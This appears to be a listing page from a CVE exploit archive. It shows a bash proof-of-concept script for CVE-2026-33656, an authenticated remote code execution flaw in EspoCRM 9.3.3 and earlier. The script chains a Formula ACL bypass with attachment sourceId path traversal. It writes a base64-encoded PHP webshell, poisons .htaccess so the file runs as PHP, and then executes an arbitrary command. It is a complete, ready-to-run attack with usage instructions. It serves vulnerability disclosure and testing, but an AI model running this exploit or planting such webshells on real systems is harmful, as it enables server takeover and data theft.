5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / ESPOCRM-RCE-POC-CVE-2026-33656.sh SH
#!/bin/bash
# ===========================================================================
# EspoCRM <= 9.3.3 CVE-2026-33656 — Authenticated RCE via Formula ACL Bypass
# + Attachment sourceId Path Traversal + .htaccess Poisoning
#
# Author  : Jiva (jivasecurity.com)
# Writeup : https://jivasecurity.com/writeups/espocrm-rce-cve-2026-33656
# Product : EspoCRM <= 9.3.3
# Auth    : Admin credentials required
# Impact  : OS command execution
#
# Usage:
#   ./poc.sh <base_url> <username> <password> [command]
#
# Example:
#   ./poc.sh http://192.168.5.16:8090 admin admin id
# ===========================================================================

BASE="${1:-http://192.168.5.16:8090}"
USER="${2:-admin}"
PASS="${3:-admin}"
CMD="${4:-id}"

AUTH_B64=$(printf '%s:%s' "$USER" "$PASS" | base64 | tr -d '\n')
AUTH="Espo-Authorization: $AUTH_B64"

# JSON id extractor — prefers jq, falls back to grep+cut (no python3 needed)
extract_id() {
    if command -v jq &>/dev/null; then
        jq -r '.id'
    else
        grep -o '"id":"[^"]*"' | head -1 | cut -d'"' -f4
    fi
}

die() { echo "[-] FAIL at $1: $2" >&2; exit 1; }

echo "[*] Target : $BASE"
echo "[*] User   : $USER"

# ── Step 1: Create attachment (Document/file, .txt — passes accept list) ──────
echo ""
echo "[1/6] Creating webshell attachment..."
RESP=$(curl -s "$BASE/api/v1/Attachment" \
  -H "$AUTH" -H "Content-Type: application/json" \
  -d '{"name":"test.txt","type":"text/plain","role":"Attachment","relatedType":"Document","field":"file","isBeingUploaded":true,"size":28}')
SHELL_ID=$(echo "$RESP" | extract_id)
[[ -n "$SHELL_ID" ]] || die "Step 1" "no id returned — response: $RESP"
echo "    Attachment ID: $SHELL_ID"

# ── Step 2: Formula sets sourceId → ../../client/x (path traversal) ──────────
echo "[2/6] Setting sourceId via formula (ACL bypass)..."
RESP=$(curl -s -X POST "$BASE/api/v1/Formula/action/run" \
  -H "$AUTH" -H "Content-Type: application/json" \
  -d "{\"expression\":\"record\\\\update(\\\"Attachment\\\",\\\"$SHELL_ID\\\",\\\"sourceId\\\",\\\"../../client/x\\\")\",\"targetType\":null,\"targetId\":null}")
echo "$RESP" | grep -q '"isSuccess":true' || die "Step 2" "formula failed — $RESP"
echo "    sourceId → ../../client/x"

# ── Step 3: Chunk upload writes PHP webshell to client/x ─────────────────────
echo "[3/6] Writing PHP webshell to client/x..."
# Payload: <?php system($_GET["c"]); ?>
RESP=$(curl -s -X POST "$BASE/api/v1/Attachment/chunk/$SHELL_ID" \
  -H "$AUTH" -H "Content-Type: application/octet-stream" \
  --data-raw "data:application/octet-stream;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==")
echo "    Response: $RESP"

# ── Step 4: Create second attachment for .htaccess modification ───────────────
echo "[4/6] Creating .htaccess attachment..."
RESP=$(curl -s "$BASE/api/v1/Attachment" \
  -H "$AUTH" -H "Content-Type: application/json" \
  -d '{"name":"ht.txt","type":"text/plain","role":"Attachment","relatedType":"Document","field":"file","isBeingUploaded":true,"size":999999}')
HT_ID=$(echo "$RESP" | extract_id)
[[ -n "$HT_ID" ]] || die "Step 4" "no id returned — response: $RESP"
echo "    Attachment ID: $HT_ID"

# ── Step 5: Formula sets sourceId → ../../.htaccess ──────────────────────────
echo "[5/6] Redirecting to .htaccess via formula..."
RESP=$(curl -s -X POST "$BASE/api/v1/Formula/action/run" \
  -H "$AUTH" -H "Content-Type: application/json" \
  -d "{\"expression\":\"record\\\\update(\\\"Attachment\\\",\\\"$HT_ID\\\",\\\"sourceId\\\",\\\"../../.htaccess\\\")\",\"targetType\":null,\"targetId\":null}")
echo "$RESP" | grep -q '"isSuccess":true' || die "Step 5" "formula failed — $RESP"
echo "    sourceId → ../../.htaccess"

# ── Step 6: Chunk upload appends PHP handler directive to .htaccess ───────────
echo "[6/6] Appending PHP handler directive to .htaccess..."
# Payload:
#   <FilesMatch "^x$">
#   SetHandler application/x-httpd-php
#   </FilesMatch>
RESP=$(curl -s -X POST "$BASE/api/v1/Attachment/chunk/$HT_ID" \
  -H "$AUTH" -H "Content-Type: application/octet-stream" \
  --data-raw "data:text/plain;base64,CjxGaWxlc01hdGNoICJeeCQiPgpTZXRIYW5kbGVyIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwCjwvRmlsZXNNYXRjaD4=")
echo "    Response: $RESP"

# ── Execute ───────────────────────────────────────────────────────────────────
echo ""
echo "[*] Executing: $CMD"
echo "    Webshell: $BASE/client/x?c=<cmd>"
echo ""

RESULT=$(curl -s "$BASE/client/x?c=$CMD")
echo "$RESULT"
echo ""

if echo "$RESULT" | grep -qE "uid=[0-9]+"; then
    echo "[+] RCE CONFIRMED"
else
    echo "[-] Webshell did not return expected output — check manually:"
    echo "    curl -v '$BASE/client/x?c=id'"
fi